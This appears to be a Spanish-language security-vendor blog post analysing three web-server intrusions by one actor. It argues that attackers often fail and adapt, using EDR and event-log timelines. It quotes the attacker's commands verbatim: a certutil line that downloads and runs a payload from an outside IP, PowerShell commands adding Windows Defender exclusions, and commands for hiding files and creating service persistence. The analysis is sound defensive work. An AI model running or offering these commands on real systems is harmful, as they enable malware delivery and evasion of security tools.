Ensayo, error y errores de tipeo: por qué algunos ataques de malware no son tan "sofisticados" como crees

“Los actores de amenazas son cada vez más avanzados y sofisticados, y cambian sus tácticas constantemente.”

Este es el sentimiento público predominante en torno al aumento de los ciberataques maliciosos. Los informes de seguridad pública dan la impresión de que los actores de amenazas están más organizados, presentando los ataques como una serie de pasos fluidos y lógicos en los que el actor sigue un manual sin enfrentar obstáculos, avanzando directamente hacia su objetivo, ya sea el robo de datos o el despliegue de ransomware.

Esto tergiversa la realidad de la situación.

Al analizar con más profundidad el funcionamiento paso a paso de los actores de amenazas mediante telemetría de EDR o registros de Windows Event Log, lo que vemos con frecuencia no es un manual lógico, cuidadosamente planificado y sin interrupciones, sino actores de amenazas que a menudo experimentan, reaccionan ante un “estímulo” o responden a un fallo.

Por ejemplo, vimos una serie de tropiezos de un actor de amenazas en un incidente de noviembre que el equipo de Huntress destacó, que involucró la plataforma de informática forense digital y respuesta a incidentes (DFIR) Velociraptor. Sería fácil ver este incidente y concluir que el atacante siguió una serie de pasos sin interrupciones que llevaron al despliegue exitoso del ransomware Warlock. Sin embargo, un análisis más profundo de los Windows Event Logs mostró cómo el actor de amenazas intentó instalar un túnel de Cloudflare repetidamente (sin éxito al principio), usó comandos mal escritos e intentó ejecutar el servidor OpenSSH a pesar de no tener la aplicación instalada.

La realidad del Windows Event Log: detrás de escena

Más recientemente, una serie de tres incidentes distintos ofrece más ejemplos de cómo los actores de amenazas van refinando sus métodos en respuesta a los obstáculos.

Los analistas de Huntress observaron tácticas, técnicas y procedimientos (TTPs) muy similares en los tres incidentes, además de similitudes en la infraestructura que indicaban que el actor detrás de los incidentes era el mismo. El atacante también parecía tener un objetivo similar: establecer persistencia usando un conjunto específico de herramientas.

Parece que un actor de amenazas o grupo encontró vulnerabilidades en aplicaciones web que les permitieron ejecutar comandos en el endpoint a través del servidor web. Los tres incidentes presentaron, al menos inicialmente, un conjunto de actividad similar; es decir, el intento de ejecutar un troyano en Golang en el endpoint, llamado agent.exe.

En los tres incidentes, no hubo una coincidencia aparente en las páginas web o aplicaciones web a las que se accedió: en cada incidente, aunque el ataque parece haber ocurrido a través del servidor web, la página a la que se accedió fue distinta en cada endpoint. Esto sugiere con menor probabilidad que se haya colocado un web shell en el endpoint mediante una vulnerabilidad de escritura/carga de archivos, y con mayor probabilidad que se haya explotado alguna falla en el código de la página.

Con el escenario ya planteado, una de las partes más notables de los incidentes fue cómo se comportaron los actores de amenazas detrás de escena al enfrentarse a “desafíos” en el entorno (como Windows Defender) o cómo cometieron errores (como no lograr iniciar ejecutables).

Incidente 1

El 6 de noviembre, Huntress reportó un ataque contra una empresa de desarrollo residencial que se originó a través del proceso del servidor web Microsoft Internet Information Server (IIS), w3wp.exe. Aunque sería fácil descartar este incidente como un simple compromiso del servidor web que llevó al despliegue de un web shell, una investigación más detallada cuenta una historia muy diferente.

La Figura 1 ilustra cómo se detectó mediante EDR al actor de amenazas ejecutando el comando whoami.exe a través del proceso del servidor web.

Figura 1: Linaje del proceso Whoami.exe

Este endpoint tenía instalada la aplicación de monitoreo de sistema Microsoft Sysmon, junto con el producto EDR de Huntress. Por esto, se desarrolló una línea de tiempo de la actividad usando telemetría de EDR, entradas relevantes del registro del servidor web IIS y registros de Windows Event Log, lo que brindó información significativa y detallada sobre el incidente. Poco antes de ver ejecutarse el comando whoami.exe, se puede observar la siguiente entrada del registro del servidor web, que marca el punto inicial de ejecución de comandos:

POST /[REDACTED]/login.aspx ReturnUrl=[REDACTED] 443 - 188.253.126.205 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 473

Después del comando whoami.exe, vemos comandos como netstat -an, net user admin$, ipconfig /all y net localgroup administrators, realizando tareas de enumeración. Luego vemos la siguiente línea de comandos, que fue detectada y bloqueada por Windows Defender:

""cmd"" /c certutil.exe -urlcache -split -f http://110.172.104[.]95:8000/api/download/windows-tools/amd64 C:\Users\Public\agent.exe && start /b C:\Users\Public\agent.exe

Este comando busca usar el binario Living Off The Land (LOLBin) certutil.exe para descargar y decodificar un recurso en C:\Users\Public\agent.exe, y luego ejecutar el archivo agent.exe. Según VirusTotal, la dirección IP de la descarga (110.172.104[.]95) se ubica en la República de Corea, y tiene una reputación asociada con malware. Sin embargo, aquí el actor de amenazas enfrentó su primer obstáculo, como se mencionó antes, cuando Microsoft Defender bloqueó el comando.

Poco después de estos registros en la línea de tiempo, los registros de Sysmon muestran que se ejecutaron los siguientes comandos:

""cmd"" /c dir c:\users\public

""cmd"" /c c:\users\public\815.exe

No hubo indicios definitivos de cómo se transfirió el archivo 815.exe al endpoint, pero parece que el actor de amenazas intentó ejecutar el archivo varias veces sin que Windows Defender lo detectara, y sin deshabilitar ni inhibir Windows Defender de ninguna manera. No hubo registros de Windows Event Log que indicaran que el programa se bloqueó o tuvo algún otro problema, pero la línea de tiempo de la investigación muestra que hubo tres intentos de ejecutar el ejecutable antes de que el atacante finalmente lo lograra.

Se obtuvo una copia del ejecutable desde el endpoint, y se descubrió que estaba escrito en Go. Al enviar el hash a VirusTotal, no hubo indicios de que el archivo hubiera sido enviado para análisis anteriormente.

Como se ilustra en la Figura 1 anterior, cuando el actor de amenazas ejecutó el comando original whoami.exe, se disparó una alerta y, como resultado, poco después de que se ejecutara 815.exe, el endpoint fue aislado.

Lamentablemente, la actividad del actor de amenazas no se detuvo ahí. Pasó un tiempo antes de que la empresa pudiera realizar una revisión de código de la página web /[REDACTED]/login.aspx, y durante ese tiempo, el actor de amenazas regresó, con la dirección IP del cliente 188.253.126.202 visible en los registros del servidor web. El 1 de diciembre, se ejecutó la siguiente línea de comandos:

C:/Users/Public/agent.exe C:/Users/Public/ca.bin

Poco después de ejecutarse esta línea de comandos, los registros indican que Windows Defender identificó a agent.exe como una aplicación potencialmente no deseada (PUA), pero no tomó ninguna acción. Luego, casi 48 horas después, tras una actualización de Windows Defender, el archivo se detectó como “ShellcodeRunner” y se puso en cuarentena, como se ilustra en la Figura 2.

Figura 2: detección de “ShellcodeRunner” por Windows Defender

Los eventos de detección y cuarentena de Windows Defender del 3 de diciembre se agruparon junto con un registro de Sysmon con ID de evento 5, que indicaba que el proceso agent.exe había sido finalizado.

Esta barrera no disuadió al actor de amenazas: el 8 de diciembre, volvió de nuevo, por el mismo medio. Esta vez, la dirección IP del cliente en los registros del servidor web fue 103.36.25.171, y se dejó una copia renombrada de la herramienta de acceso libre GotoHTTP RMM en el endpoint.

Figura 3: detección de GotoHTTP

Antes de implementarse el aislamiento y de que se eliminara el RMM, las conexiones de red activas en el endpoint mostraban una conexión a 103.36.25.171. Los pasos observados en este primer incidente muestran al actor de amenazas realizando intentos fallidos de comandos e instalaciones de archivos ejecutables, además de enfrentar obstáculos por las cuarentenas de Windows Defender. Sin embargo, esto no detuvo a los atacantes, que siguieron volviendo al endpoint mediante el mismo método de acceso.

Incidente 2

El 17 de noviembre, Huntress reportó un ataque a un cliente de manufactura que se originó a través del proceso del servidor web Microsoft Internet Information Server (IIS), w3wp.exe; este ataque incluyó la desactivación de herramientas de seguridad. La detección inicial de este incidente fue para el ejecutable test.exe, que se ejecutó mediante el árbol de procesos ilustrado en la Figura 4.

Figura 4: árbol de procesos

El hash SHA256 de agent.exe del árbol de procesos se envió a VirusTotal, y un extracto de los resultados se ilustra en la Figura 5.

Figura 5: extracto de VirusTotal

Aproximadamente 30 segundos después de que este proceso se iniciara, se detectó una serie de comandos de PowerShell que establecían y luego verificaban varias exclusiones de Windows Defender; estas detecciones aparecieron de la siguiente manera:

powershell -command Add-MpPreference -ExclusionPath C:\users\public -ExclusionExtension .exe, .bin, .dll -Force

powershell -command Add-MpPreference -ExclusionPath C:\windows\system32\0409 -ExclusionExtension .exe, .bin, .dll -Force

powershell -command Add-MpPreference -ExclusionPath C:\windows\system32\inetsrv -ExclusionExtension .exe, .bin, .dll -Force

powershell -command Add-MpPreference -ExclusionPath C:\windows\syswow64\inetsrv -ExclusionExtension .exe, .bin, .dll -Force

powershell -command Get-MpPreference , Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess

Esta serie de comandos de PowerShell contrasta claramente con el Incidente 1, donde el actor de amenazas respondió a la cuarentena de su mecanismo de descarga por parte de Windows Defender dejando otro archivo ejecutable en el endpoint. Dadas las direcciones IP y los métodos de acceso similares entre ambos incidentes, además de otros factores, parece que el actor de amenazas optó por anticiparse a los problemas con Windows Defender agregando las exclusiones antes de trasladar su malware al endpoint.

Después de los comandos de PowerShell, se ejecutó attrib.exe mediante el árbol de procesos ilustrado en la Figura 6.

Figura 6: árbol de procesos del comando Attrib.exe

La línea de comando de attrib.exe detectada apareció de la siguiente manera:

attrib  C:\Windows\system32\0409\dllhost.exe   +s +h 

Según la comparación de hash, el archivo dllhost.exe es una copia de agent.exe, que en este incidente fue identificado por VirusTotal como SparkRAT.

Después del comando attrib.exe, se usó el Service Control Manager (sc.exe) para crear persistencia y ejecutar dllhost.exe como un servicio de Windows llamado WindowsUpdate. Sin embargo, según los registros posteriores del Service Control Manager en el registro de eventos del sistema, el servicio no logró iniciarse, como se ilustra en el siguiente extracto de la línea de tiempo:

2025-11-17 08:17:29Z

  EVTX  [REDACTED]  - Service Control Manager/7000;WindowsUpdate,%1053

  EVTX  [REDACTED]  - Service Control Manager/7009;300000,WindowsUpdate

2025-11-17 08:17:10Z

  EVTX  [REDACTED]  - Service Control Manager/7000;WindowsUpdate,%1053

  EVTX  [REDACTED]  - Service Control Manager/7009;300000,WindowsUpdate

2025-11-17 08:17:04Z

  EVTX  [REDACTED]  - Service Control Manager/7040;WindowsUpdate,demand start,auto start,WindowsUpdate

Al investigar los registros del servidor web obtenidos durante este incidente, se encontraron comandos POST al archivo /Login.aspx el 16 de noviembre, un día antes de la actividad detectada, y aparecieron de la siguiente manera (nota la dirección IP, 188.253.126.202, que es la misma que la del Incidente 1):

POST /Login.aspx ReturnUrl=[REDACTED] 443 - 188.253.126.202 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.2+(KHTML,+like+Gecko)+Chrome/22.0.1216.0+Safari/537.2 - 200 0 0 364

El 17 de noviembre, justo antes de que se generara la actividad detectada, entradas del registro del servidor web mostraron comandos POST al mismo archivo, aunque desde una dirección IP de cliente diferente, lo que probablemente indica infraestructura adicional del actor de amenazas. La entrada del registro aparecía de la siguiente manera:

POST /Login.aspx ReturnUrl=[REDACTED] 443 - 103.36.25.169 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0)+chromeframe/10.0.648.205 - 200 0 0 406

En este segundo incidente, podemos ver las formas en que el actor de amenazas intentó corregir algunos de los intentos fallidos del primer incidente, principalmente añadiendo las exclusiones de Windows Defender. Sin embargo, siguió enfrentando dificultades, sin lograr iniciar WindowsUpdate y, por lo tanto, sin poder lanzar dllhost.exe.

Incidente 3

El 25 de noviembre, Huntress reportó un ataque a una organización cliente de servicios compartidos empresariales que se originó a través del proceso del servidor web Microsoft Internet Information Server (IIS), w3wp.exe. El árbol de procesos que lleva al lanzamiento de test.exe se ilustra en la Figura 7.

Figura 7: Árbol de procesos

El ataque incluyó acceso reportado a un web shell, así como la desactivación de herramientas de seguridad, y siguió una progresión casi idéntica a la del Incidente 2, con los mismos comandos para añadir exclusiones a Windows Defender, y todos los mismos ejecutables, incluido el servicio de Windows basado en dllhost.exe que se instaló y que también falló al iniciarse.

De forma similar a los otros dos incidentes, la actividad detectada estuvo precedida por actividad POST a una página web dentro de la infraestructura del cliente, como se ilustra en la siguiente entrada del registro:

2025-11-25 07:49:23 [REDACTED]  POST / - 443 - 188.253.121.101 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_6_0)+AppleWebKit/537.4+(KHTML,+like+Gecko)+Chrome/22.0.1229.79+Safari/537.4 - - 200 0 64 10899

Resumen

Al observar estos tres incidentes, vemos puntos en común en las técnicas y la infraestructura, incluidas direcciones IP similares, convenciones de nombres de malware y la carpeta desde la que operaba el actor de amenazas.

Sin embargo, en el primer incidente, el actor de amenazas no parece haber intentado modificar o desactivar Windows Defender, y en su lugar optó por cambiar las herramientas desplegadas al encontrar obstáculos y contratiempos (malware detectado y puesto en cuarentena).

En el segundo y el tercer incidente, vemos que el actor de amenazas primero modifica Windows Defender para facilitar actividades posteriores, una aparente lección aprendida del fallo del 6 de noviembre en el primer incidente. Al final, la cadena de ataque falló porque el servicio de Windows usado para la persistencia no logró iniciarse.

Debido a afirmaciones que se repiten en la industria, podríamos creer que los actores de amenazas siempre cambian sus tácticas. Sin embargo, al observar más de cerca los comportamientos en varios incidentes, vemos que, a veces, estos cambios percibidos como “evolutivos” en las tácticas en realidad están vinculados a que un actor de amenazas o grupo aplica lecciones aprendidas de incidentes anteriores. Otras veces, hemos visto que los actores de amenazas siguen recurriendo a las mismas técnicas aunque no funcionen.

Para quienes se dedican a la defensa, entender los obstáculos específicos que enfrentan los actores de amenazas, y cómo reaccionan y se adaptan, da una mejor perspectiva sobre cómo protegerse del comportamiento del atacante, ya que este podría regresar y tomar represalias.

Indicadores de compromiso (IOC)